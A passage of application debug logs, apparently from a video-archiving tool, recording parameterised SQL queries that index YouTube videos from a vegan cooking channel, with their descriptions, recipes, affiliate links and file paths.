\u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nTOO GOOD TO GO APP ➡️ https://www.toogoodtogo.com/en-ca\nBusiness sell their surplus food to consumers at 1/3 of the price, because food waste sucks! (not sponsored, just LOVE the app)\n\nRECIPES MENTIONED IN THIS VIDEO:\n1. CHOCOLATEY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein per serving\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n2. VEGAN FAJITAS ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n3. NICOISE SALAD ➡️ \u00A0\u00A0\u00A0•\u00A0HIGH\u00A0PROTEIN\u00A0VEGAN\u00A0NICOISE\u00A0SALAD!\u00A0French-i...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free", 1, nil, false, "pEMFI46RXq8", "https://www.youtube.com/watch?v=pEMFI46RXq8", "/downloads/downloads/alec/Steamy Vegan/2023-08-12 VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free/VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free [pEMFI46RXq8].NA", false, ~U[2023-08-12 00:00:00Z]] 20:31:08.147 [debug] QUERY OK source="sources" db=0.4ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.149 [debug] QUERY OK source="media_items" db=1.8ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-09 00:00:00Z], 1] 20:31:08.151 [debug] QUERY OK source="media_items" db=1.4ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I asked ChatGPT what I should eat today on a vegan and gluten free diet for breakfast, lunch, dinner and dessert. The vegan recipes it chose are definitely very interesting, delicious and surprisingly easy meals to make or meal prep! \n\nLeave a comment letting me know if you enjoyed this kind of video and if you'd like to see more done in this style! Which recipe are you planning to make?\n\nBreakfast: Vegan Gluten-Free Banana Pancakes\nIngredients:\n\n1 cup gluten-free all-purpose flour blend\n1 tablespoon ground flaxseed\n2 tablespoons water\n1 teaspoon baking powder\n1/4 teaspoon baking soda\n1/4 teaspoon salt\n1 cup mashed ripe bananas (about 2 medium bananas)\n3/4 cup plant-based milk (e.g., almond milk or oat milk)\n1 tablespoon maple syrup or agave nectar\n1 teaspoon vanilla extract\nCoconut oil or any vegetable oil for cooking\nOptional toppings:\n\nSliced bananas\nFresh berries\nMaple syrup\nVegan chocolate chips or cacao nibs\nChopped nuts\n\n\nLUNCH: Mango & Black Bean Quinoa Salad\n\nFor the Salad:\n1 cup quinoa, rinsed\n2 cups water\n1 can (15 oz) black beans, drained and rinsed\n2 ripe mangoes, diced\n1 red bell pepper, diced\n1/4 cup red onion, finely chopped\n1/4 cup fresh cilantro, chopped\n1/4 cup fresh mint leaves, chopped\n1/4 cup roasted pepitas (pumpkin seeds) or chopped almonds (optional)\nSalt and pepper to taste\n\nFor the Lime Dressing:\n3 tablespoons lime juice\n2 tablespoons olive oil\n1 tablespoon maple syrup or agave nectar\n1 clove garlic, minced\n1/2 teaspoon ground cumin\nSalt and pepper to taste\nInstructions:\n\nDINNER: Vegan Lentil & Veggie Curry\n\nIngredients:\n\n1 cup dried red lentils, rinsed\n1 tablespoon coconut oil (or any vegetable oil)\n1 large onion, diced\n3 cloves garlic, minced\n1-inch piece of fresh ginger, grated\n1 tablespoon curry powder (adjust to taste)\n1 teaspoon ground cumin\n1 teaspoon ground coriander\n1/2 teaspoon turmeric\n1/4 teaspoon cayenne pepper (optional, for heat)\n1 can (14 oz) diced tomatoes\n1 can (14 oz) coconut milk (full-fat for a creamier texture)\n2 cups vegetable broth\n2 cups chopped mixed vegetables (e.g., carrots, bell peppers, zucchini, and spinach)\nSalt and pepper to taste\nFresh cilantro, chopped (for garnish)\nCooked rice or quinoa (for serving)\n\n\nDESSERT: Chocolate Avocado Mousse\n2 ripe avocados\n1/4 cup unsweetened cocoa powder\n1/4 cup maple syrup or agave nectar (adjust to your preferred sweetness)\n1/4 cup plant-based milk (e.g., almond milk or coconut milk)\n1 teaspoon vanilla extract\nA pinch of salt\nOptional toppings: fresh berries, coconut flakes, chopped nuts, or vegan chocolate chips\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "AI Decides What I Eat in a Day // Vegan and Gluten Free Recipes", "4e05cd2e-6815-4da9-aede-fbe88c9dfeb5", 1, [], false, "xbWzxw-JGD8", "https://www.youtube.com/watch?v=xbWzxw-JGD8", 278, "/downloads/downloads/alec/Steamy Vegan/2023-08-09 AI Decides What I Eat in a Day ⧸⧸ Vegan and Gluten Free Recipes/AI Decides What I Eat in a Day ⧸⧸ Vegan and Gluten Free Recipes [xbWzxw-JGD8].NA", false, false, false, 2, ~U[2023-08-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I asked ChatGPT what I should eat today on a vegan and gluten free diet for breakfast, lunch, dinner and dessert. The vegan recipes it chose are definitely very interesting, delicious and surprisingly easy meals to make or meal prep! \n\nLeave a comment letting me know if you enjoyed this kind of video and if you'd like to see more done in this style! Which recipe are you planning to make?\n\nBreakfast: Vegan Gluten-Free Banana Pancakes\nIngredients:\n\n1 cup gluten-free all-purpose flour blend\n1 tablespoon ground flaxseed\n2 tablespoons water\n1 teaspoon baking powder\n1/4 teaspoon baking soda\n1/4 teaspoon salt\n1 cup mashed ripe bananas (about 2 medium bananas)\n3/4 cup plant-based milk (e.g., almond milk or oat milk)\n1 tablespoon maple syrup or agave nectar\n1 teaspoon vanilla extract\nCoconut oil or any vegetable oil for cooking\nOptional toppings:\n\nSliced bananas\nFresh berries\nMaple syrup\nVegan chocolate chips or cacao nibs\nChopped nuts\n\n\nLUNCH: Mango & Black Bean Quinoa Salad\n\nFor the Salad:\n1 cup quinoa, rinsed\n2 cups water\n1 can (15 oz) black beans, drained and rinsed\n2 ripe mangoes, diced\n1 red bell pepper, diced\n1/4 cup red onion, finely chopped\n1/4 cup fresh cilantro, chopped\n1/4 cup fresh mint leaves, chopped\n1/4 cup roasted pepitas (pumpkin seeds) or chopped almonds (optional)\nSalt and pepper to taste\n\nFor the Lime Dressing:\n3 tablespoons lime juice\n2 tablespoons olive oil\n1 tablespoon maple syrup or agave nectar\n1 clove garlic, minced\n1/2 teaspoon ground cumin\nSalt and pepper to taste\nInstructions:\n\nDINNER: Vegan Lentil & Veggie Curry\n\nIngredients:\n\n1 cup dried red lentils, rinsed\n1 tablespoon coconut oil (or any vegetable oil)\n1 large onion, diced\n3 cloves garlic, minced\n1-inch piece of fresh ginger, grated\n1 tablespoon curry powder (adjust to taste)\n1 teaspoon ground cumin\n1 teaspoon ground coriander\n1/2 teaspoon turmeric\n1/4 teaspoon cayenne pepper (optional, for heat)\n1 can (14 oz) diced tomatoes\n1 can (14 oz) coconut milk (full-fat for a creamier texture)\n2 cups vegetable broth\n2 cups chopped mixed vegetables (e.g., carrots, bell peppers, zucchini, and spinach)\nSalt and pepper to taste\nFresh cilantro, chopped (for garnish)\nCooked rice or quinoa (for serving)\n\n\nDESSERT: Chocolate Avocado Mousse\n2 ripe avocados\n1/4 cup unsweetened cocoa powder\n1/4 cup maple syrup or agave nectar (adjust to your preferred sweetness)\n1/4 cup plant-based milk (e.g., almond milk or coconut milk)\n1 teaspoon vanilla extract\nA pinch of salt\nOptional toppings: fresh berries, coconut flakes, chopped nuts, or vegan chocolate chips\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "AI Decides What I Eat in a Day // Vegan and Gluten Free Recipes", 1, nil, false, "xbWzxw-JGD8", "https://www.youtube.com/watch?v=xbWzxw-JGD8", "/downloads/downloads/alec/Steamy Vegan/2023-08-09 AI Decides What I Eat in a Day ⧸⧸ Vegan and Gluten Free Recipes/AI Decides What I Eat in a Day ⧸⧸ Vegan and Gluten Free Recipes [xbWzxw-JGD8].NA", false, ~U[2023-08-09 00:00:00Z]] 20:31:08.153 [debug] QUERY OK source="sources" db=0.6ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.155 [debug] QUERY OK source="media_items" db=1.9ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-05 00:00:00Z], 1] 20:31:08.157 [debug] QUERY OK source="media_items" db=1.6ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I eat these 3 healthy vegan salad recipes all summer long because they're high protein, easy to make, and meal prep friendly! Veggie packed, flavorful and so satisfying, these healthy summer salads are what summer dreams are made of.\n\nALL RECIPES ON MY BLOG STEAMYVEGAN.COM 🤩\n\n1. CRUNCHY CASHEW NOODLE SALAD ➡️ https://steamyvegan.com/crunchy-cashe...\n2. FETA & CHICKPEA RAINBOW SALAD ➡️ https://steamyvegan.com/feta-chickpea...\n3. BBQ RANCH POTATO SALAD ➡️ https://steamyvegan.com/bbq-ranch-pot...\n\nLove salads? Check out these recent recipe vids below:\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings // What I Eat All Summer Long", "15e41dde-518c-4608-bc2f-14351cdfb205", 1, [], false, "6nekZpwY4GQ", "https://www.youtube.com/watch?v=6nekZpwY4GQ", 279, "/downloads/downloads/alec/Steamy Vegan/2023-08-05 Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings ⧸⧸ What I Eat All Summer Long/Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings ⧸⧸ What I Eat All Summer Long [6nekZpwY4GQ].NA", false, false, false, 1, ~U[2023-08-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I eat these 3 healthy vegan salad recipes all summer long because they're high protein, easy to make, and meal prep friendly! Veggie packed, flavorful and so satisfying, these healthy summer salads are what summer dreams are made of.\n\nALL RECIPES ON MY BLOG STEAMYVEGAN.COM 🤩\n\n1. CRUNCHY CASHEW NOODLE SALAD ➡️ https://steamyvegan.com/crunchy-cashe...\n2. FETA & CHICKPEA RAINBOW SALAD ➡️ https://steamyvegan.com/feta-chickpea...\n3. BBQ RANCH POTATO SALAD ➡️ https://steamyvegan.com/bbq-ranch-pot...\n\nLove salads? Check out these recent recipe vids below:\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings // What I Eat All Summer Long", 1, nil, false, "6nekZpwY4GQ", "https://www.youtube.com/watch?v=6nekZpwY4GQ", "/downloads/downloads/alec/Steamy Vegan/2023-08-05 Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings ⧸⧸ What I Eat All Summer Long/Healthy Vegan Summer Salads + 3 HOMEMADE Vegan Salad Dressings ⧸⧸ What I Eat All Summer Long [6nekZpwY4GQ].NA", false, ~U[2023-08-05 00:00:00Z]] 20:31:08.158 [debug] QUERY OK source="sources" db=0.6ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.161 [debug] QUERY OK source="media_items" db=2.5ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-01 00:00:00Z], 1] 20:31:08.163 [debug] QUERY OK source="media_items" db=1.4ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you how to make a delicious healthy vegan chocolate ice cream with a secret ingredient! 🤫 This vegan recipe is insanely yummy, is dairy free, gluten-free and has NO BANANAS! You will be shocked by the secret ingredient that makes this vegan chocolate ice cream silky smooth, thick and oh so creamy.\n\nEnjoy this video? Make sure you LIKE and SUBSCRIBE so you never miss a video drop 🔥\n\nLooking for more delicious frozen dessert recipes? Check out these videos ⬇️\nBANANA NICE CREAM 3 WAYS ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n4-INGREDIENT MANGO SORBET ➡️ \u00A0\u00A0\u00A0•\u00A0CREAMY\u00A0Mango\u00A0Sorbet!\u00A0Easy\u00A04-Ingredient\u00A0Veg...\u00A0\u00A0\n\nHEALTHY VEGAN CHOCOLATE ICE CREAM\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/healthy-vegan...\n\nHow I Make my NEW Fave Chocolate Sunday!\n2 scoops chocolate ice cream\nMaple PB sauce (2 tbsp powdered PB, 1 tbsp maple syrup, warm water)\nChopped Pecans\nDandies Vegan Maple Marshmallows\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better)", "8809d04f-3a38-42f1-b3ca-5dba648eec2b", 1, [], false, "CntQKt5b3mo", "https://www.youtube.com/watch?v=CntQKt5b3mo", 280, "/downloads/downloads/alec/Steamy Vegan/2023-08-01 VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better)/VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better) [CntQKt5b3mo].NA", false, false, false, 1, ~U[2023-08-01 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you how to make a delicious healthy vegan chocolate ice cream with a secret ingredient! 🤫 This vegan recipe is insanely yummy, is dairy free, gluten-free and has NO BANANAS! You will be shocked by the secret ingredient that makes this vegan chocolate ice cream silky smooth, thick and oh so creamy.\n\nEnjoy this video? Make sure you LIKE and SUBSCRIBE so you never miss a video drop 🔥\n\nLooking for more delicious frozen dessert recipes? Check out these videos ⬇️\nBANANA NICE CREAM 3 WAYS ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n4-INGREDIENT MANGO SORBET ➡️ \u00A0\u00A0\u00A0•\u00A0CREAMY\u00A0Mango\u00A0Sorbet!\u00A0Easy\u00A04-Ingredient\u00A0Veg...\u00A0\u00A0\n\nHEALTHY VEGAN CHOCOLATE ICE CREAM\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/healthy-vegan...\n\nHow I Make my NEW Fave Chocolate Sunday!\n2 scoops chocolate ice cream\nMaple PB sauce (2 tbsp powdered PB, 1 tbsp maple syrup, warm water)\nChopped Pecans\nDandies Vegan Maple Marshmallows\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better)", 1, nil, false, "CntQKt5b3mo", "https://www.youtube.com/watch?v=CntQKt5b3mo", "/downloads/downloads/alec/Steamy Vegan/2023-08-01 VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better)/VEGAN Chocolate Ice Cream with a SECRET! (Not bananas...even better) [CntQKt5b3mo].NA", false, ~U[2023-08-01 00:00:00Z]] 20:31:08.164 [debug] QUERY OK source="sources" db=0.9ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.167 [debug] QUERY OK source="media_items" db=2.6ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-30 00:00:00Z], 1] 20:31:08.169 [debug] QUERY OK source="media_items" db=1.0ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what VEGAN and GLUTEN-FREE foods I eat to boost my energy back up after a camping vacation… where I had a few vegan cheat meals! In this what I eat in a day video I'll show you a healthy vegan breakfast I love to eat, a quick and easy lunch recipe and my new favourite vegan dinner recipe. \n\nLet me know in the comments what you like to eat after eating out way too much and having a few too many cheat meals ⬇️", "VEGAN What I Eat in a Day to Re-Energize After Vacation", "42925b4b-eeab-4d45-a9b8-91deb842c317", 1, [], false, "fkAcf0mlZyc", "https://www.youtube.com/watch?v=fkAcf0mlZyc", 281, "/downloads/downloads/alec/Steamy Vegan/2023-07-30 VEGAN What I Eat in a Day to Re-Energize After Vacation/VEGAN What I Eat in a Day to Re-Energize After Vacation [fkAcf0mlZyc].NA", false, false, false, 1, ~U[2023-07-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Check out what VEGAN and GLUTEN-FREE foods I eat to boost my energy back up after a camping vacation… where I had a few vegan cheat meals! In this what I eat in a day video I'll show you a healthy vegan breakfast I love to eat, a quick and easy lunch recipe and my new favourite vegan dinner recipe. \n\nLet me know in the comments what you like to eat after eating out way too much and having a few too many cheat meals ⬇️", "VEGAN What I Eat in a Day to Re-Energize After Vacation", 1, nil, false, "fkAcf0mlZyc", "https://www.youtube.com/watch?v=fkAcf0mlZyc", "/downloads/downloads/alec/Steamy Vegan/2023-07-30 VEGAN What I Eat in a Day to Re-Energize After Vacation/VEGAN What I Eat in a Day to Re-Energize After Vacation [fkAcf0mlZyc].NA", false, ~U[2023-07-30 00:00:00Z]] 20:31:08.169 [debug] QUERY OK source="sources" db=0.7ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 